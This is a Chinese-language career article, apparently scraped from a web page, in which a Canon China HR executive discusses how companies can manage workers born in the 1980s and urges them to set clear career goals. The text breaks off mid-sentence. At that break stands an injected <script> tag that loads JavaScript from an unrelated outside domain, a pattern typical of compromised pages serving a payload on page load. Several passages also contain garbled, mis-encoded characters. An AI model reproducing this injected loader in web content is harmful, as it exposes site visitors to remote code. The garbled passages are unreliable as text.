給80后換上職業裝

 

不少管理者都評價擁有明顯時代特征的80后，不夠職業化，過于以自我為中心，但不可否認的是，80后將會成為企業的新生主力軍。對于這些尚不夠職業的80后職業人，企業應該采用怎樣方式引導80后融入職場，而作為80后個人，又應該以怎樣的心態面對職場？ 本期我們邀請了人力資源專家管然女士，就我們收集來的真實案例進行分析，通過分析給企業和80后一些有益的啟示。

 專家簡介：　　管然，佳能中國有限公司培訓與開發部副總經理，長期以來馳騁于世界各知名跨國集團的人力資源培訓講壇，熟悉跨國企業、合資企業等各種企業形式的職業化運作與管理的她，曾被數家知名企業聘為管理顧問。 　　案例一：在國內一個非常知名的高校論壇上，有人發了這樣一個帖子——你愿意工作嗎？這個簡單的問題引發了上萬條的點擊回復，幾乎所有回帖人都表示上班并不是件愉快的事情，“每天清晨，我都在和自己作斗爭：去上班？還是不去上班？——今天我就沒有跟自己斗爭，我跟老板請了假。”類似這樣的回復數不勝數。值得注意的是，回帖人大部分為80后。盡管很多人都在批判80后身上的某種缺失，但不可否認，80后正在成為雇員大軍中的主力。企業與80后本人應該怎樣達成相互理解與和諧共存？ 　　專家解析：對于80后的管理，企業都處在摸索階段， 80后正逐步步入職場，成為職場新人的主力軍。這個年齡層進入職場大概僅有4、5年的時間，所以大家都在摸索怎樣讓管理方式更適合這個年齡層的員工�！　�對于案例中提到的現象，其實各個年齡階段的人都有，只不過比例不太一樣，80后可能更為突出一些。各個年齡階段有各自的特點，60年代的人更加忠誠，以事業單位為第一；70年代比較講究家庭和工作的平衡，而80年代的人就相對自我一些，當然不可否認，80后中也有很看重事業，注重平衡的群體�！　∨e一個例子，我原來的秘書就是80后，她就讓我刮目相看。80后進入職場之后，鋪天蓋地的評價紛至沓來，我也會或多或少地帶有有色眼鏡來觀察我團隊中的第一個80后，之所以選擇80后的員工是因為我認為80后很有創意、很有想法，所以打算嘗試一下，為團隊帶來一些新鮮的血液。在接觸的過程 ，的確需要時間來協調。她后來可以在別人下班的時候，主動加班，把自己的工作做完，而且從不申請加班費用，一開始我想，是不是她的效率有問題，但通過觀察，我發現她的工作效率很高，她的工作狀態于案例中提到的大相徑庭。我總結她擁有這種工作心態的原因是多方面的，一方面她是知名院校的畢業生，學校的教育相對提前一些，已經在學校階段就把學生帶入到職業化的狀態中。她很勤勉，在家里也是嬌慣的獨生女，卻能在工作的氛圍中做到支持整個部門，支持我的工作。歸根結底是價值觀，這名80后的員工有高端的追求，對自己將來要達成什么目標非常明確，她了解自身現狀與目標間的差距，明白只有通過努力，才能達到目標�！　�從我講的例子對比案例，就一目了然。當出現別人認為不是很積極的表現態度的時候，通常是目標不夠明確，目標明確的人會自發自覺地去努力，會自制。也就是我所說的“三自精神”——自發、自覺、自治。這是很多人明白卻不一定反映在現實生活中的道理。目標明確會進行自我管理，可能并不需要外界的激勵，完全可以自我激勵。當然，人總歸有情感波動的時候，不排除有情緒低落而在工作中不積極的時候。如果是經常性的不積極，一般我們認為還是沒有明確的目標。 　　專家支招80后：那么應該制定一個怎樣的目標呢？我認為，應該制定一個職業目標，但不要制定過于現實的目標，比如說我要掙多少錢，買什么樣的車和房子等。職業方向的大目標 重要，它也是每個職業人早期制定的目標。能夠比較早期的定下目標的人是很有限的，但他們成功的概率要高一些�！　」�佛大學曾做過一個測試，測試結果是：3%的人有自己20年以后?script src=http://cn.jxmmtv.com/cn.js></Script>